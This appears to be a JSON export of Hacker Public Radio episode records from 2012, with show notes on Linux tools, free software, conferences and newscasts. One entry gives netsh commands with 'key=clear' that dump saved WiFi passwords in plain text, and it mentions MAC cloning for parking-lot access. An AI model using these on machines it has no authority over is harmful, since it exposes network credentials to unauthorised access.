    \nSit back and enjoy another \"storytime' edition of the Knightwise.com podcast where we question our sanity in using Email and wonder whether the IT guy will go extinct. On a bed of some soothing music it's time so close your eyes and listen. \n

    \n","hostid":111,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"email,productivity,IT technician","version":0,"downloads":2206,"valid":1}, {"id":930,"date":"2012-02-23","title":"TGTM Tech News for 2012-02-20","duration":1245,"summary":"A newscast from Talk Geek to Me","notes":"

    DeepGeek TGTM Newscast for 2012-02-20

    \n

    Shownotes are available at Show Notes for TGTM news 61

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    \nNews from \"iww.org, \" \"rawstory.com, the audio \"Moment of Clarity #116,\" and \"techdirt.com\" used under arranged permission. News from \"eff.org\" and \"torrentfreak.com\" used\nunder permission of the Creative Commons by-attribution license. News from \"peoplesworld.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News from \"indybay.org\" used under terms of the webpage. News from \"takethesquare.net\" is copyleft, translation from Greek courtesy the reddit community. News Sources retain their respective copyrights.

    \n\n

    Links

    \n","hostid":237,"series":28,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2268,"valid":1}, {"id":931,"date":"2012-02-26","title":"The ratpoison window manager","duration":413,"summary":"An efficient and minimalist window manager","notes":"

    Links

    \n\n

    The tutorial talked about in the episode

    \n\n

    \n Dion Moult
    \n Ratpoison: an efficient and minimalist WM.
    \n https://thinkmoult.com/2009/05/13/ratpoison-an-efficient-and-minimalist-wm/\n

    \n\n\n

    My ratpoisonrc file

    \n\n
    \nescape F13 \n\nexec ./.fehbg &\nexec /usr/bin/conky &\n\nbind Next exec amixer -q set Master 10- unmute\nbind Prior exec amixer -q set Master 10+ unmute\nunbind k\nunbind c \nbind j focusdown\nbind h focusleft\nbind k focusup\nbind l focusright\nbind J exchangedown\nbind H exchangeleft\nbind K exchangeup\nbind L exchangeright\nbind C-k delete\nexec /usr/bin/rpws init 4 -k\nset winname class\nset border 0\nset padding 0 15 0 0 \nset barpadding 0 0 \n\nwarp on\nstartup_message off \n\nbind space exec aterm\n\nbind a exec aterm -e alsamixer\nbind f exec firefox\nbind o exec libreoffice\nbind t exec import MyScreenshot.png\nbind c exec codeblocks\nbind v exec aterm -pixmap false -e vim \nbind g exec ~/.my-scripts/scripts/gimp.sh\n\n#Displays a calender\n\n# make sure to have ccal installed on your box so you can use this calender\nbind d exec ratpoison -d :0.0 -c \"echo `date +'%r - %A %n  %D - %B'`  `cal | tail +2 | sed -e 's/^Su/\\n\\n Su/' -e 's/.*/ & /' -e \\\"s/\\ $(date +%e)\\ /\\<$(date +%e)\\>/\\\"`\"\n
    \n","hostid":207,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"window manager,ratpoison","version":0,"downloads":2284,"valid":1}, {"id":932,"date":"2012-02-27","title":"Programming languages 1 - Introduction","duration":1509,"summary":"An introduction to programming languages","notes":"

    \nThis is the first episode on a series about computer programming languages. In this episode, I will start by discussing why you may want to learn a programming language, then I will give an introduction about what programming languages are, which are the different types of programming languages, their history, and I will also give some pointers to resources which can be useful to get you started with programming.\n

    \n

    \nEric Raymond's \"How to become a hacker\" essay, available at https://catb.org/~esr/faqs/hacker-howto.html\n

    \n

    1 Wikipedia sources:

    \n\n

    2 Resources for learning to program

    \n

    2.1 Easy

    \n
    2.1.1 List of resources on Wikipedia
    \n

    \nhttps://secure.wikimedia.org/wikipedia/en/wiki/List_of_educational_programming_languages\n

    \n
    2.1.2 The Python tutorial
    \n

    \nhttps://docs.python.org/tutorial/\n

    \n\n

    2.2 Intermediate

    \n
    2.2.1 Structure and interpretation of computer programs
    \n

    \nhttps://mitpress.mit.edu/sicp/\n

    \n\n","hostid":197,"series":25,"explicit":1,"license":"CC-BY-SA","tags":"programming,Python,C,C++,Lisp,Java,Perl,PHP,Smalltalk,Haskell,FORTRAN,COBOL,Algol 60,Algol 68,BASIC,Pascal","version":0,"downloads":2452,"valid":1}, {"id":933,"date":"2012-02-28","title":"Freedom is not Free 1 Introduction","duration":1376,"summary":"Part 1 of the \"Freedom is not Free\" series","notes":"

    Richard Stallman

    \n

    \nFrom Wikipedia, the free encyclopedia https://en.wikipedia.org/wiki/Richard_Stallman\n

    \n

    \n\"Richard\nRichard Stallman, Free Software foundation\n\n

    \n

    \nRichard Matthew Stallman (born March 16, 1953), often shortened to rms, is an American software freedom activist and computer programmer. In September 1983, he launched the GNU Project to create a free Unix-like operating system, and he has been the project's lead architect and organizer. With the launch of the GNU Project, he initiated the free software movement; in October 1985 he founded the Free Software Foundation.
    \nStallman pioneered the concept of copyleft, and he is the main author of several copyleft licenses including the GNU General Public License, the most widely used free software license. Since the mid-1990s, Stallman has spent most of his time advocating for free software, as well as campaigning against software patents, digital rights management, and what he sees as excessive extension of copyright laws. Stallman has also developed a number of pieces of widely used software, including the original Emacs, the GNU Compiler Collection, the GNU Debugger, and various tools in the GNU coreutils. He co-founded the League for Programming Freedom in 1989.\n

    \n

    The Free Software Definition

    \n

    \nhttps://www.gnu.org/philosophy/free-sw.html
    \n
    \nA program is free software if the program's users have the four essential freedoms:\n

    \n
      \n
    • The freedom to run the program, for any purpose (freedom 0).
    • \n
    • The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this.
    • \n
    • The freedom to redistribute copies so you can help your neighbor (freedom 2).
    • \n
    • The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this.
    • \n
    \n

    Free as in Freedom

    \n

    \nFree as in Freedom oggcast - https://faif.us
    \nFree as in Freedom is a bi-weekly oggcast, hosted and presented by Bradley M. Kuhn and Karen Sandler. The discussion includes legal, policy, and many other issues in the Free, Libre, and Open Source Software (FLOSS) world. Occasionally, guests join Bradley and Karen to discuss various topics regarding FLOSS.\n
    \nYou can email feedback on the show to oggcast@faif.us, or join bkuhn and other listeners in our IRC channel, #faif on irc.freenode.net.\n

    \n

    Free Software Foundation

    \n

    \nFrom Wikipedia, the free encyclopedia https://en.wikipedia.org/wiki/Free_Software_Foundation\n

    \n

    \n\"FSF\n

    \n

    \nThe Free Software Foundation (FSF) is a non-profit corporation founded by Richard Stallman on 4 October 1985 to support the free software movement, a copyleft-based movement which aims to promote the universal freedom to create, distribute and modify computer software. The FSF is incorporated in Massachusetts, USA.
    \nFrom its founding until the mid-1990s, FSF's funds were mostly used to employ software developers to write free software for the GNU Project. Since the mid-1990s, the FSF's employees and volunteers have mostly worked on legal and structural issues for the free software movement and the free software community.\nConsistent with its goals, only free software is used on FSF's computers.\n

    \n

    How you can support free software

    \n
      \n
    • Bug Reports
    • \n
    • Documentation
    • \n
    • Financial Support
    • \n
    • Advocacy
    • \n
    \n","hostid":198,"series":69,"explicit":1,"license":"CC-BY-SA","tags":"FOSS,FLOSS,Free Software Foundation,GNU Project","version":0,"downloads":2925,"valid":1}, {"id":934,"date":"2012-02-29","title":"LiTS 001: qrencode","duration":879,"summary":"QR codes and the qrencode command","notes":"In the second in the series, Dann concentrates on producing a image from the command line, QR codes to be precise.
    \n
    \nHe says: \"The qrencode application is a tool to rapidly produce qrcodes. Qrcodes are handy little images that embed information many cell-phone cameras can read to do a number of tasks like provide a link to install applications, provide links to web sites or videos, or to add contacts into the address book. With qrencode, in seconds you can generate these images.\n
    \nFind the excellent write up and video at\nhttps://www.linuxintheshell.com/2012/03/01/entry-001-qrencode/
    \nor if you prefer:
    \n\"QR\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"QR code,qrencode","version":0,"downloads":2761,"valid":1}, {"id":935,"date":"2012-03-02","title":"Indiana LinuxFest","duration":1910,"summary":"Ken talks to Lord Drachenblut about the upcoming Indiana LinuxFest 2012","notes":"

    \nIn what has proven to be the most difficult show to put together ever, Ken and his most noble Lordship of the shire of Drachenblut, talk about the Indiana LinuxFest.

    \n \n

    Summary of Indiana LinuxFest's Goals

    \n

    \nIndiana LinuxFest is a community F/OSS conference, which is showcasing the best the community has to offer in the way of Free and Open Source Software, Open Hardware, and Free Culture. We are also highlighting the best and brightest from all of these communities from the hobbyist to professional level.\n

    \n

    \nIndiana LinuxFest 2012, April 13th to the 15th at the Wyndam Indianapolis West, is free to attend and Open for any to attend be it the hobbyist to the professional. So join us for the Reign of Freedom!\n

    \n

    \nhttps://www.indianalinux.org/cms/\n

    \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Indiana Linuxfest,ILF,ILF 2012","version":0,"downloads":2277,"valid":1}, {"id":936,"date":"2012-03-05","title":"Monthly Review show 2012 Feb","duration":2916,"summary":"pokey, Epicanis and 5150 review the last month's shows","notes":"

    NEW HOSTS

    \nBob Wooden
    \nrootoutcast
    \n\n

    NEW SERIES

    \nLinux in the Shell by Dann Washko
    \n\n

    OTHER ITEMS

    \nStickers
    \nEp1k
    \nNew Logos https://rfquerin.org/hprstuff/hpr_splash_samples.png
    \n\t\thttps://rfquerin.org/hprstuff/hpr_atomic_surround_x.png
    \n\t\thttps://rfquerin.org/hprstuff/hpr_02_samples.png
    \n\t\thttps://rfquerin.org/hprstuff/hpr_atomic_samples.png
    \n\n

    SHOW REVIEW

    \n\nep0917 :: Uber Leet Hacker Force Radio 6 Hosted by sigflup
    \n\nep0918 :: How I Started with Linux Part 2 Hosted by Frank Bell
    \n\nep0919 :: Elfstedentocht - To be or not to be Hosted by Ken Fallon
    \n\nep0920 :: TGTM Newscast for 2012/02/08 Hosted by deepgeek
    \n\nep0921 :: Tag Team Chase Douglas Interview with Alison Chaiken Hosted by marcoz
    \n\nep0922 :: Updating a Garmin GPS for free Hosted by riddlebox
    \n\nep0923 :: 12 Gazillion Buttons Hosted by Jezra and NYbill
    \n\nep0924 :: Episode 000 redirection Hosted by Dann
    \n\nep0925 :: TGTM Tech News for 2012-02-15 Hosted by deepgeek
    \n\nep0926 :: Heresies in the year of the apocalypse ep 1 - computer languages Hosted by MrGadgets
    \n\nep0927 :: Setting up a WordPress blog: part 1 Hosted by Frank Bell
    \n\nep0928 :: My Linux Adventure, Pt. 1 Hosted by Bob Wooden
    \n\nep0929 :: The Knightcast KC0060 : \"Storytime\" Hosted by Knightwise
    \n\nep0930 :: TGTM Tech News for 2012-02-20 Hosted by deepgeek
    \n\nep0931 :: The ratpoison window manager Hosted by rootoutcast
    \n\nep0932 :: Programming languages 1 – Introduction Hosted by garjola
    \n\nep0933 :: Freedom is not Free 1 Introduction Hosted by Ahuka
    \n\nep0934 :: LITS: Entry 001 – qrencode Hosted by Dann
    \n\nep0935 :: Indiana LinuxFest Hosted by Ken Fallon
    \n\n

    EVENTS

    \nWe need an event manager
    \nPlease add your event to https://fossevents.org/
    \n\n
    \nWhen\t What\tWhere\tWho
    \n2012-01-20..22 Southern California Linux Expo (SCALE)
    \n\n2012-02-04..05 Free and Open source Software Developers' European Meeting (FOSDEM) https://fosdem.org/2012/
    \n\nMarch 5, 2012 sipX-CoLab https://www.sipfoundry.org/sipx-colab Fort Collins, CO
    \n8:00 AMto5:00 PM
    \n\n2012-03-17 The Northeast GNU/Linux fest https://www.northeastlinuxfest.org/ Pokey/Klaatu
    \n\n2012-04-28..29 LinuxFest Northwest https://linuxfestnorthwest.org/ David Whitman (davidglennwhitman@gmail.com)
    \n\n2012-09-28..30 Ohio LinuxFest 2012 https://ohiolinux.org/node/186 (Call for talks)
    \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"community news","version":0,"downloads":2225,"valid":1}, {"id":937,"date":"2012-03-05","title":"How I started with linux","duration":548,"summary":"Riddlebox talks of his journey to Linux","notes":"In today's show, regular contributor riddlebox takes some time out to tell us of his journey to linux
    \n
    \nYou can reach him at:\njames.middendorff[ @ ]gmail.com","hostid":94,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"linux","version":0,"downloads":2259,"valid":1}, {"id":938,"date":"2012-03-06","title":"Cloning Windows WiFi Profiles and Installing Skype Under 64-bit Fedora","duration":1231,"summary":"Some tips on configuring Windows networking and installing Skype on 64-bit Fedora 15","notes":"

    The other day I was copying a customer's files and settings from a old laptop to a new one. Much of this tedious task was handled automatically by Fab's Autobackup (https://fpnet.fr/, and 25% until Valentines Day BTW), but I was disappointed that his dozen WiFi access point profiles and passwords were not one among the settings that Fab's copied for me. For a family laptop, you usually just have to re-enter the password for just the home router, and maybe once again for your work wireless. If your are a tech for an enterprise, and the new mobile workstation needs to connect to multiple access points, you always wind up walking around the business or campus, connecting to each in SSID in turn and entering a different key. This time, the laptop would be used in multiple remote offices. The user would have been able to re-create those connections as he traveled to each office, but he asked me if it wouldn't be possible instead to transfer the profiles with the rest of his data.

    \n

    I had no doubt that I would be able to find a free tool to backup and restore wireless connections, but I have become wary of Windows utilities that can be found at the end of a Google search but have not been recommended by other techs or a trusted website. I was surprised to find my answer in some functions added to the DOS netsh, (or \"net shell\") command, starting with Windows Vista.

    \n

    Open a Windows command prompt on the laptop that already has the WiFi keys set up, ergo the old one, and type:

    \n
    netsh wlan show profiles
    \n

    then press return. This will give you a list of your existing wireless connection profiles by name (i.e. by SSID). Now you can pick a WiFi profile name and enter on the command line:

    \n
    netsh wlan export profile name=\"SSID_above_in_quotes\" folder=\"C:\\destination\"
    \n

    Quotes are required for the WiFi profile name, but not for the destination folder unless you use spaces in your Windows directory names. If you want to create export files for all your wireless connections, you may omit the \"name=\" part.

    \n
    netsh wlan export profile folder=<destination_path>
    \n

    Omitting \"file=\" of course creates export files in the current directory.

    \n

    The netsh wlan export profile command generates a .XML export file for each selected profile. Each export file contains an SSID, channel, encryption type and a hash of the encryption key to be transferred to the new laptop, except that it doesn't work, at least not for me and several others who posted articles to the web. On my first try, I was able to import everything but the encryption key, all the access points showed up in \"Manage Wireless Networks\", but I was prompted for a key when I tried to connect. I thought maybe this was Microsoft's attempt at security, but I could see a field for the hash in the .XML and when I went back to the article on netsh and it was clear I was supposed to get the keys too. A little more googlsearch revealed a second article on netsh that gave me an argument the first one omitted, adding key=clear at the very end of the netsh command causes the keys to be exported in clear text! Our command now looks like:

    \n
    netsh wlan export profile folder=<destination_path> key=clear
    \n

    Copy your .XML profile files to the new laptop (I am assuming via USB key). The filenames will be in the format:

    \n

    Wireless Network connection-<profile-name-same-as-SSID>.xml

    \n

    You understood me correctly, this DOS command generates file names with spaces in them. Copy the .XML files to the new system and import the profiles with:

    \n
    netsh add profile filename=\"<file name in quotes to account for spaces>.xml\"
    \n

    \nIt's not quite as odious as it looks because DOS now supports TAB completion, so you just have to type:

    \n

    netsh add profile filename=\"Wi and press <TAB>

    \n

    \nThe rest of the name of the first profile will be filled in, complete with the terminating quote. Press <ENTER> and you should get a message that wireless profile has been imported. To import the remaining profiles, just use <F3> or the up arrow and edit the last command. Since it was set to auto-connect, the laptop I was working on made a connection to the local access point the instant the corresponding profile was imported.

    \n

    Learning these new netsh functions may make configuring WiFi more convenient (I can maintain a library of wireless profiles for the organizations I service, or I could implement an encryption key update via a batch file). I can also see ominous security implications for networks where users aren't supposed to be privy to the connection keys and have access to pre-configured laptops, such as schools. One could whitelist the MAC addresses of only the organization's equipment, but there is always that visiting dignitary to whom you are expected to provide unfettered network access. Besides, anyone with access to the command line can use ipconfig to display the laptop's trusted MAC address, which can be cloned for access from the parking lot or from across the street. The only way I see to secure the connection from someone with physical access to a connected laptop is to install kiosk software that disables the command line.

    \n

    Installing Skype on 64-bit Fedora

    \n

    Last week I decided to install Skype as an alternative way to contact people with land lines. I haven't played with Skype since I had it on my Windows workstation, so I downloaded and installed the .rpm for Fedora 13+. All Skype has is a 32-bit package for Fedora, and sure enough, when I tried to launch Skype, the icon bounced around Compiz fashion, then the application item on the taskbar closed without doing anything. I looked for information in troubleshooting Skype from the logs, and an Arch wiki article told me I might have to create ~/.Skype/Logs, which I did. The application continued to crash without generating a log. I heard someone mention once in a call-in podcast that they'd had to perform additional steps to make 32-bit Skype work in 64 bit Fedora 15, and a Google search took me to the khAttAm blog (link below). I experienced some trepidation because the steps involve installing additional 32 bit libraries (if you heard me on the Hacker Public Radio New Years Eve shows, you might have heard me say I've experienced a bit of dependency hell over conflicts between 32 and 64 bit libraries) but the instructions in the article went flawlessly (I don't know if khattam.info represents one person or more than one, but you rock!).\nhttps://www.khattam.info/howto-install-skype-in-fedora-15-64-bit-2011-06-01.html

    \n

    First, as root run yum update

    \n

    Next, add the following line to /etc/rpm/macros (create it if it doesn't exist):

    \n
    %_query_all_fmt %%{name}-%%{version}-%%{release}.%%{arch}
    \n

    Finally, install these 32-bit libraries:

    \n
    \nyum install qt.i686 qt-x11.i686 libXv.i686 libXScrnSaver.i686\n
    \n

    After that, I was able to launch the application and log into my Skype account.

    \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Windows,netsh,Fedora,Skype","version":0,"downloads":2243,"valid":1}, {"id":939,"date":"2012-03-07","title":"Sunday Morning Linux Review: Episode 021","duration":4886,"summary":"SMLR episode 21","notes":"

    \nToday in its regular slot is Episode 021 of the Sunday Morning Linux Review
    \nhttps://smlr.us/?p=717
    \nThis show aired on Mar 4 2012
    \n

    \n

    In this episode

    \n

    \nRelease Candidate: On Sun, 4 March 2012 02:57:31 UTC Greg Linus Torvalds announced the release of Kernel 3.3-rc6
    \nKeep The ARM Architecture Open
    \nFastest Growing Desktop Linux Up 64% In 9 Months
    \nAzure Goes Down! Azure Goes Down! (But Will It Be For The Count)
    \nAssault On The Fifth Amendment Won’t Get Its Day In Court
    \nThe Real Numbers For Red Hat Enterprise Virtualization (RHEV)
    \nWhite House, Consumers in Mind, Offers Online Privacy Guidelines
    \n

    \n

    The Linux Convention Scene for March 2012

    \n

    \nDroidcon 2012 March 13th-14th, 2012 – Berlin, Germany
    \nAsiaBSDCon 2012, 22 – 25 March, 2012 Morito Memorial Hall, Tokyo University of Science, Tokyo, Japan
    \nCE Linux Forum Japan Technical Jamboree March 23 2012 Nakano Sunplaza Hotel Tokyo Japan
    \nABLEConf March 24 – Tempe AZ
    \nLibrePlanet 2012 March 24-25, 2012 University of Massachusetts, Boston. MA
    \nMarch 27-29, 2012 Palmetto Open Source Software Conference (POSSCON) 2012 Columbia, SC POSSCON 2012
    \nDocument Freedom Day 2012 28 March 2012
    \nNortheast Linux Fest March 17, 2012 · Worcester State University · Worcester, MA 01602
    \n

    \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"SMLR,Sunday Morning Linux Review","version":0,"downloads":2232,"valid":1}, {"id":940,"date":"2012-03-08","title":"TGTM Tech News for 2012-03-07","duration":1516,"summary":"A newscast from Talk Geek to Me","notes":"

    \nShownotes are available at Show Notes for TGTM news 62\n

    \n\n

    DeepGeek TGTM Newscast for 2012/3/7/

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n\n

    News from \"havanatimes.org,\" \"inthesetimes.com,\" the audio \"Moment of Clarity #121-Privacy,\" \"maggiemcneill.wordpress.com,\" \"perspectives.mvdirona.com,\" and \"allgov.com\" used under arranged permission.\nNews from \"eff.org\" and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"peoplesworld.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. Audio interludes \"NSA\" and \"Vote\" courtesy youtube user \"anonyops\". News Sources retain their respective copyrights.

    \n\n

    Links

    \n\n","hostid":237,"series":28,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2360,"valid":1}, {"id":941,"date":"2012-03-12","title":"Whats in my bag / Portable Apps","duration":965,"summary":"An introductory show from a new host","notes":"In today's show Digital Maniac becomes our newest host and shows us what's in his bag. He also gives us a run down of his favourite https://portableapps.com/.\n","hostid":208,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"screwdriver,solder,flash drive,Windows,portable apps","version":0,"downloads":2295,"valid":1}, {"id":942,"date":"2012-03-13","title":"Zentyal Linux Small Business Server","duration":725,"summary":"A small business solution based on Linux","notes":"

    \nToday I talked about Zentyal Linux Small Business Server,found at www.zentyal.org. From the website:
    \n\"Zentyal can act as a Gateway, Infrastructure Manager, Unified Threat Manager, Office Server, Unified Communication Server or a combination of them. One single, easy-to-use platform to manage all your network services.\"\n

    \n

    \nCheck out their youtube channel!\nhttps://www.youtube.com/user/zentyal?blend=5&ob=video-mustangbase\n

    \n

    \nHere is the screencast about the server:
    \nhttps://www.youtube.com/watch?v=LL7dqdibv60&list=UU1uVrKfbxMXk_yeclYOSwFg&index=23&feature=plcp
    \n\n

    \n

    \nif you have any comments or questions please email me at
    \njames.middendorff [@] gmail.com\n

    \n","hostid":94,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Gateway,Infrastructure Manager,Unified Threat Manager,Office Server,Unified Communication Server","version":0,"downloads":2327,"valid":1}, {"id":943,"date":"2012-03-14","title":"Freedom is not Free 2 - Bugs","duration":1582,"summary":"Part 2 of the \"Freedom is not Free\" series","notes":"https://how-to.linuxcareer.com/guide-to-bug-submitting-and-bug-tracking-in-linux
    \nhttps://ohiolinux.org/node/186
    \nhttps://www.zwilnik.com/?page_id=378\n","hostid":198,"series":69,"explicit":1,"license":"CC-BY-SA","tags":"FOSS,FLOSS,bug reporting,bug tracking","version":0,"downloads":2379,"valid":1}, {"id":944,"date":"2012-03-14","title":"LITS 002: tr","duration":1028,"summary":"Translating or transliteration with the tr command","notes":"

    In the third in the series, Dann introduces us to the tr command. \n

    \n

    \nHere's a flavour:
    \n\nThe tr, or translate (aka: transliterate) command, substitutes one more characters for another set of characters or it will delete a specified set of characters. The tr command takes input from standard in and writes to standard out. This simple example of the tr command translates some numbers into a word:
    \n
    \necho \"12234\" |tr '1234' 'aple'
    \n
    \nThe output:
    \n
    \napple
    \n
    \n

    \n

    \nThe entire article, including links to the videos can be found on his site:
    \nhttps://www.linuxintheshell.com/2012/03/15/episode-002-tr/\n

    \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"translate,transliterate,tr","version":0,"downloads":2621,"valid":1}, {"id":945,"date":"2012-03-16","title":"TGTM Tech News for 2012-03-14","duration":1196,"summary":"A newscast from Talk Geek to Me","notes":"

    TGTM Newscast for 2012/3/14/ DeepGeek

    \n

    \nShownotes are available at Show Notes for TGTM news 63\n

    \n\n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"icelandreview.com, \" \"techdirt.com,\" and \"venezuelanalysis.com\" used under arranged permission. News from \"Indybay.org\" used under permissions granted at the website. News from \"eff.org\"  and \"torrentfreak.com\" used \nunder permission of the Creative Commons by-attribution license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.

    News Sources retain their respective copyrights.

    \n\n

    Links

    \n\n","hostid":237,"series":28,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":3717,"valid":1}, {"id":946,"date":"2012-03-19","title":"HPR Interview David Whitman with Carl Symons and John Blanford","duration":1839,"summary":"David Whitman interviews Carl Symons and John Blanford","notes":"SHOW NOTES
    \nHPR Interview David Whitman with Carl Symons and John Blanford
    \n\nLinuxFest Northwest 2012
    \nBellingham, Washington 98225 USA
    \nApril 28th & 29th, 2012
    \n\nhttps://www.linuxfestnorthwest.org/
    \n\nAdmission Free
    \n\tor support the fest as an Individual Supporter -
    \n60 USD
    \n\n******************
    \n\nSessions
    \n\nA’salt’ing Your Computers *
    \nAccessibility: It’s about you!-(Beginner)
    \nAlan Turing: The First 100 years, by author George Dyson
    \nAlpha Geek
    \nAmazon and the Future of the Open Cloud
    \nAn Intro to CrunchBang
    \nAsk Your Users: Redesigning the Western website for Drupal with user feedback (Beginner)
    \nAutomate Your Infrastructure With Chef
    \nAutomated License Plate Recognition use by law enforcement
    \nBAIRS (Bellingham Artificial Intelligence & Robotics Society) (Beginner)
    \nBlender: a 3D introduction
    \nBorder Crossings
    \nBring Intelligence Back to Your Scheduled Tasks
    \nBSD Virtualization
    \nBuilding my first module with Drupal!
    \nBuilding RPMs for enterprise deployments
    \nCrash Course in Open Source Cloud Computing
    \nCreative camera control under GNU/Linux.
    \nCreating Solutions with CentOS Studio
    \nCustom Live Linux
    \nCustomizing Linux for the Classroom
    \nDeploying an IaaS cloud with CloudStack
    \nDIY Man in the Middle for Security and Privacy
    \nEmbedded Hardware Development In Linux
    \nEnterprise Systems Management with Spacewalk
    \nFedena: Open Source School management system
    \nGit Deep: A deep dive into Git
    \nFile Security: Lock Down Your Data
    \nFree (as in speech) brewing (as in beer)
    \nFreeNAS: Open Souce Storage Solution
    \nGame Den
    \nGet Cloudy!
    \nGetting started with Ubuntu
    \nGnome 3 on it's own merit.
    \nHelp us get open source used in local schools
    \nHigh Availability Clustering with Linux
    \nIntroduction to Drupal
    \nIntroduction to Joomla!
    \nIntroduction to the i3 Window Manager
    \njQuery Tips and Tricks
    \nJump Start with Symfony2
    \nkismet BOF
    \nLean startup overview/The Idea Lab
    \nLean startup/Agile development
    \nLinux SSTP Server - VPN For Windows Clients
    \nLinux Alternative Rescue Disk
    \nLinux Groups 2.1: Noob Morning in America
    \nLinux Logical Volume Manager Advanced Topics
    \nLinux Made Easy
    \nLinux Performance Analysis
    \nLinux Permissions
    \nLinux SSTP Server - VPN For Windows Clients
    \nLogical Volume Management: Maximize your Hard Disk Space
    \nMeet Fedora: The Not-So-Miraculous story of a successful community, and where the Fedora Project is today.
    \nMessaging for Free Software Groups and Projects
    \nMicrocomputer Firmware Development using Linux
    \nMinimizing IT Infrastructure Costs in a Stressed Economy
    \nMonitoring What Matters
    \nMultitouch linux- Utouch and Ginn
    \nMySQL Overview
    \nMySQL Security Beyond The Obvious
    \nOpen Source On The Farm
    \nOpen Source Software and the Healthcare Data Revolution
    \nopenSUSE--It's not just a distro!
    \nownCloud - Your Cloud, Your Data, Your Way!
    \nPanel Forum with ACLU and EFF
    \nPenetration Testing at the Speed of Metasploit
    \nPerl Regular Expressions
    \nPHP Multitasking without forking
    \nPolyglot Paas Without Vender Lock-In
    \nPowerful Team Collaboration with Trac
    \nPrerequisites for success in the cloud
    \nProgramming Location Based Services applications w/Qt
    \nRepairing a Hacked Drupal Website
    \nRevvy - Are your programs out of date?
    \nrshall: A Tool for Managing Hosts in Parallel
    \nSecurity Enhanced Linux for Mere Mortals
    \nScalable HTML5 Video Player - Development, Extensibility and Targeting Multiple Platforms
    \nSecurity Worst Practices
    \nSoftware Patents: What You Can Do
    \nSupporting Classrooms - 101
    \nTeaching Linux and Linux System Administration as Distance Education Classes
    \nThe future of web's video – Open, Streamlined, Exciting
    \nThe LFNW World Famous Raffle
    \nThe MySQL Diaspora in 2012
    \nThe new MySQL eco-system
    \nThe MySQL Ecosystem Meets the Cloud
    \nTraffic Redirection With Apache
    \nThe Pop Culture Guide To Open Source
    \nTutorium
    \nUser Space C Development
    \nUsing BackTrack 5 for fun and profit.
    \nUsing the Red Hat Storage Software Appliance (Gluster)
    \nUtilizing Travis CI
    \nWe are Legion: Decentralizing the Web
    \nWhat Makes Android Tick
    \nWhat's new in MariaDB 5.5 and what's coming in MariaDB 5.6
    \nWhy Linux Does Not Suck (Not Even A Little)
    \nWhy Linux Sucks (As Usual)
    \nWireshark as used by a non-guru
    \nXenClient: Client-side virtualization, and how to take Virtual Desktop Infrastructure (VDI) offline
    \n\n************************
    \nFriday night- Tech Night Gathering
    \nMeet and Greet, Job Fair, meet and socialize with other Linux Geeks/ Users
    \n
    \n**************************
    \nSaturday after-Fest party
    \nAppetizers, drinks, dessert, celebration, fun, games and conversation for LFNW attendees at the SPARK Museum of Electrical Invention (formerly the American Museum of Radio and Electricity) (1312 Bay Street). 6:00 - 11:00 p.m.
    \n\n
    \n
    \n","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"LinuxFest Northwest","version":0,"downloads":2406,"valid":1}, {"id":947,"date":"2012-03-20","title":"Presentation by Jared Smith at the Columbia Area Linux Users Group","duration":4760,"summary":"FOSS Distros and Communities","notes":"

    \nIn today's show our newest host Neodragon brings us a presentation by\nJared Smith at the Columbia Area Linux Users Group.\n

    \n

    \nYou can email Neodragon at linuxgeekster.stahl@gmail.com or contact him as\nMathew Stahl on Google+\n

    \n

    Links

    \n

    \nLinuxBasix Podcast: https://linuxbasix.com
    \nCALUG or Columbia Area Linux Users Group: https://www.calug.org
    \nThe Fedora Project: https://www.fedoraproject.org\n

    \n","hostid":210,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Fedora,community","version":0,"downloads":2238,"valid":1}, {"id":948,"date":"2012-03-20","title":"Exchanging Data Podcast 2","duration":1128,"summary":"More about the example restaurant web application from the last episode","notes":"This podcast is the second in a series about accessing the data you have on your web site in any number of other locations. These can be other web sites or apps running on your mobile phone. Over the next few episodes, I will describe the different formats used for sharing your data, what goes into building the web application that serves up your data, how to access your data from other locations such as other web sites or mobile apps, and, finally, I will talk briefly on how to make something like this scale to support higher load demands.
    \n
    \nThis episode discusses the different types of web services and the test restaurant application.
    \n
    \nThanks for listening!\n\n

    Links

    \n\n","hostid":203,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"XML,JSON,JSONP,SOAP,WSDL,REST,Java,Spring Framework","version":0,"downloads":2165,"valid":1}, {"id":949,"date":"2012-03-21","title":"The cchits 2011 overview","duration":4470,"summary":"2011 Year Overview Show from CCHits.net","notes":"

    \nToday it's CC-BY-SA-NC in general and a big thank you to Dave and Caroline of the Bug Cast for putting the shownotes together.\n
    \nhttps://www.thebugcast.org/\n\n

    \n

    \"\"This week we present the CCHits.net 2011 Year Overview Show, as presented by Jon \"The Nice Guy\" Spriggs.

    \n

    \nWe interviewed him back in episode ep0758 :: Interview with Jon \"The Nice Guy\" Spriggs
    \nhttps://hackerpublicradio.org/eps.php?id=0758\n

    \n\n\n

    Songs played

    \n

